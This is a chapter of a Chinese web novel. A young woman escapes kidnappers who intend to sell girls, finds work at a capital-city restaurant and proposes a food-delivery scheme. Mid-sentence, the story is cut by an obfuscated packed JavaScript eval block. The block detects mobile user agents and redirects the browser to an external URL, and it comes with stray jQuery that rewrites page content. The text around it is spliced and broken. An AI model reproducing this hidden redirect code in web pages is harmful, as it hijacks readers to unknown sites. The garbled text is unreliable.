江月黎再度睁开眼,惊觉自己被绑缚于一疾驰马车内,车内还有三女二男。
她皱了皱鼻子,狭小空间里混着各种味道令人作呕。许是山路不平,马车颠簸得厉害。
她借着昏暗的光线扫视着他们身形,发现其中一男子正是那驿馆掌柜,他正与另一男子低语,两人生得凶神恶煞,膀大腰圆,腰间还隐隐泛着寒光。
江月黎沉思一番,当即决定阖目静息,假寐倾听他们的交谈……
“大哥,当真妙计!咱们宰了那驿馆掌柜假扮他,这一天就绑了四个漂亮丫头,此番定获利颇丰!待行至大些的勾栏,便将她们尽数发卖!”
“啧,蠢货!勾栏能赚得几个钱?自有贵人愿买雏回府调教,岂不是获利更多?”另一男子恶声斥道。
那掌柜嗫嚅:“可…...大哥,北地偏僻,咱们哪里能寻到贵人?便是有,我们也见不到啊...…”
“呆驴!自是去中原!在那扔块石头都能砸中两个官!纵使不成,于京城勾栏转手,报酬也远胜北地!”
此人说罢,伸手抚摩身侧一少女脸颊,油腻地邪笑道,“运气不错,这三个丫头皆容色上佳,若非尚有大用处……”
掌柜陪笑着:“大哥说得对,咱们去京城把这几个小娘们卖个好价钱!”
江月黎闻其言,遍体生寒,她暗道幸好二人欲前往京畿方向,彼时便可伺机逃脱!如今只需温顺些,保全性命便是。
半月后,马车终于行至京城外。虽一路艰辛,但两匪徒还指望将她们换钱而并未多加折辱,吃食也算粗粝果腹。
江月黎途中悄悄与另三女互通名姓,稍长者名舒兰,稚龄者唤春玉和颜色最盛的素素。
她们的双亲亦居于驿馆,但一路来,从未闻此二匪提及其余住客,只期望他们只图财帛不伤人命......但她们亦不敢深想。
多留她们一日,便多费一日钱粮。这俩匪徒不愿耽搁,欲将她们这两日便发卖脱手。二人商议一番,决意先遣一人入京探路市情,再行定夺。
这剩下的一男四女便先在一处驿馆歇下了。许是路上辛苦,她们四人又一直温顺听话,留下的那男子没太多防备,背对着她们只顾饮酒。
江月黎心道时机到了!
她瞧见驿站年久失修,门旁地板断裂翘起,露出一条锋利的木刺。没多犹豫,悄悄挪过去,用那木刺慢慢磨断了腕上的麻绳。又摸了摸身上,徐通赠与的药囊还好好系在腰间!
幸而那两个恶徒只翻了她们的包袱,没搜她们的身,江月黎心下稍定。
她猛地跳起,冲到那贼人身后!趁他还没回过神,飞快将药囊里的迷药朝他脸上撒去。
又怕药力不够,江月黎抄起驿馆里的木椅狠狠砸在他后颈上。男人一下子瘫倒在地,一动不动,显然是晕过去了。
她转头见舒兰三人又惊又怕的脸,安抚地笑了笑,压低声急急道:“另一个人一时半刻回不来,你们若胆子大就快跑,躲起来。在京城艰难求活,总比被卖了强。”
说罢,江月黎不再多言,匆匆跑出驿站逃命。那两人发现她跑了定会来抓!到手的鸭子飞了,若被逮回去,哪还有好果子吃!
她可不想被卖给权贵被糟蹋,早早送了性命!
江月黎紧跟商队身后混进了京城,她从未想过京城这般大,一时有些摸不到头脑便如无头苍蝇一样乱转着。
九衢三市,车如流水马如龙,罗绮飘香。
不知不觉间,她走到了一处瞧着极热闹的酒楼,雕梁画栋,巨大的牌匾上龙飞凤舞地写着清风阁三字,食香混着花香扑面而来,让人心旷神怡。
此等气派非凡,江月黎看得眼都直了。此时,里头悠悠走出了位妇人,半老徐娘,风韵犹存。
那妇人上上下下打量她浑身狼狈的模样,俯身向她吐气道:“小娘子,可是想来寻条生路的?姿色看着倒是不错。”
江月黎猛地一惊,想起戴月回说过京城酒楼常有弹琴唱曲的,想来此人定是误会了,便歉然道:“姐姐,我不是来卖艺的。”
她心念急转,如今她身无分文只要能有个安全的容身处便好......望着眼前面容和善但眉宇露出不耐的女老板,咬牙鼓起勇气道:“姐姐,我家中有难,能否来店里做些杂活累活,伺候各位姐姐。”
那妇人眼波一转,“莫叫姐姐,唤我琼娘便是,只是如今啊店里不缺做粗活的,只缺献艺的姑娘。”
“可我既不识字,也不通琴棋书画,实在无法献艺。琼娘姐姐,求您给条生路,让我在京城有个落脚处!工钱我分文不取,只求一口饭吃,一张床住。”江月黎蹙了蹙眉,有些为难。
琼娘叹了口气,沉沉地盯着江月黎一时不语。江月黎被她瞧得浑身不自在,用力揪紧了衣角。
她心中忐忑,不知那两匪徒如今在哪里。进酒楼做丫鬟虽非上策,却也能解眼下燃眉之急,只得走一步看一步了。
琼娘瞧着她窘迫模样,忽似想起什么趣事,笑声清脆:“今儿我心善,便帮你一把。工钱是一个铜子儿也没有的,赏钱只管收着,若是干得不好随时走人!”
江月黎惊喜得连连点头,感激道:“多谢琼娘姐姐!我定会用心做事的!”
她便这般开始了清风阁数月的丫鬟生涯。说实在的,日子倒也不难熬,清风阁专为达官显贵所设,官爷们来此吃酒谈天,姑娘们便在席间献艺,博些彩头。可谓是酒器光转,乐声盈耳。
江月黎这一月来每日端茶递水,偶尔去厨房帮工,也耳濡目染地涨了不少见识。识得了几个字,谈吐处事大方许多,容色愈发白皙艳丽。
也从楼中各位姐妹处得知,她们原也是从各处逃难来的京城,有被男人抛弃的,有遭亲族驱赶的......琼娘心善收留了她们,姑娘们也十分感激,个个都将琴棋书画练得精熟,各有绝活。
长此以往,清风阁在京城里倒成了一处别样景致,因此,才有这许多贵人图个清雅来此饮酒闲谈。但若是论规模体量,自是比不上醉仙阁那几家大酒楼的。
今日,江月黎在擦桌子的时候瞧见琼娘正恹恹地翻着账本叹气,便悄然走了过去,“琼娘姐姐在为何事担忧?”
琼娘稍抬了抬扫了她一眼,有些发愁,“今年天气骤寒,京城连下数日雨雪。出行不便,熟客们都不愿来清风阁,但食材还需一应备起,账目难看得很。”
江月黎闻言笑了笑正打算安慰,但脑海里电光火石间闪过了一个主意!
“琼娘姐姐,我先前在北地开过一段时间食肆。有时遇到客人们想将馄饨带回家中吃,我便让他们连碗端走,待打烊再去客人家中取回碗碟。”
“可这和酒楼经营有何关系?”琼娘一时有些摸不到头脑。
“若是我们给客人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887210|176420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送上门呢?咱们购置些有特色的食匣,将客人想吃的菜品趁热送上门,待客人使用完毕再将食匣取回便是。”江月黎不紧不慢地思考着,缓缓道来。
琼娘眼前一亮,惊喜道:“你说的没错,客人不来清风阁不代表他们不愿意吃清风阁的菜品,至于出行不便的部分由我们解决便是了!”
说着,她高兴地站起来,拉起江月黎向外走去,“来来来,陪姐姐去挑食匣!咱们试着做做看!”
江月黎笑着眯起了眼睛,雀跃地跟在琼娘身后,琼娘帮了她,她自然也愿意帮琼娘。
两人行至东街木匠处,与木匠一同确定了木质与纹样便交了五贯钱的订金,只待三日后来取便是。
但江月黎有些疑惑,琼娘拍板定下的木匣纹样精美却轻薄,“琼娘姐姐,为何不让木匠多用木料将木匣做得结实些?”
琼娘老神在在地答道:“清风阁客人大多显贵,怎会愿使旁人用过的食匣?这物件只用一次怕是就丢了,不必太过铺张。”
“是,如此便好极了,木匣外观合了清风阁的风格,同时成本也控制住了!”江月黎恍然大悟。
琼娘轻拍着手道:“你这小丫头虽脑子活泛,但这里面的门道多着呢,你且跟着我慢慢学。如今咱们订了二十件木匣,尚不知客人那边的反馈......若是能把生意盘活,给你记大功一件!发工钱!”
江月黎开心地笑了,心道京城酒楼的经营对如今的她仍是隔着层纱,不过琼娘倒是愿意做这个捅破纱的人,自己可要仔细得学着。
两人连夜确定了可供外送的菜品,尽最大可能保证途中口味不会发生变化。
江月黎揉着酸痛的肩颈,小声道:“明日我便逐家登门,告知熟客府中的小厮清风阁可外送菜品上门。若有需求在闲暇时派仆役来递话,我按时送达。”
琼娘点点头,“此事暂且交予你吧,你也能与熟客们混个脸熟,若往后订吃食人多我再另雇人。”说着又蹙了蹙眉,“月黎,还有一事......我在想,食匣该如何保温呢?”
江月黎一怔,倒是没有想过这个问题,垂眸思考了半响道:“用棉布包裹如何?待行到门前我再将食匣取出。”
“嗯,先按法此来吧,若是之后有更好的法子,咱们再改善便是。”琼娘摆摆手,“明日你可有得忙,早些回去歇息吧。”
江月黎颔首,心中有些紧张却也不免跃跃欲试,默念着明日登门时的说辞缓缓入睡。
第二日清晨,她容光焕发地换了身琼娘精致的衣衫,又借用了些胭脂水粉,打扮一番便斗志昂扬地出发了。
瞧着未语先带三分笑,娇美又亲切。
京城东街,徐府大门。
“这位哥儿,我是清风阁的伙计。如今地冷天寒,若是贵府老爷嫌往返奔波,敝店可着人将热腾腾的菜色送至府上。烧鹅,玉灌肺等菜样皆可原样奉上,不知可需记下单子?”
那小厮皱了皱眉,思索道:“如何算钱?多远能送?”
江月黎忙答着:“三里内不加钱,超了略补些脚力银便是。若有需要派人索唤就好,随唤随到,亦可整席承送,不劳费心!”
见小厮点头仔细地记下,江月黎开心地笑了笑,心道此事有戏,道了声谢便匆匆前往下一家。
走了一圈便到了晌午,江月黎抹了抹头上的汗,满意地往清风阁的方向走着。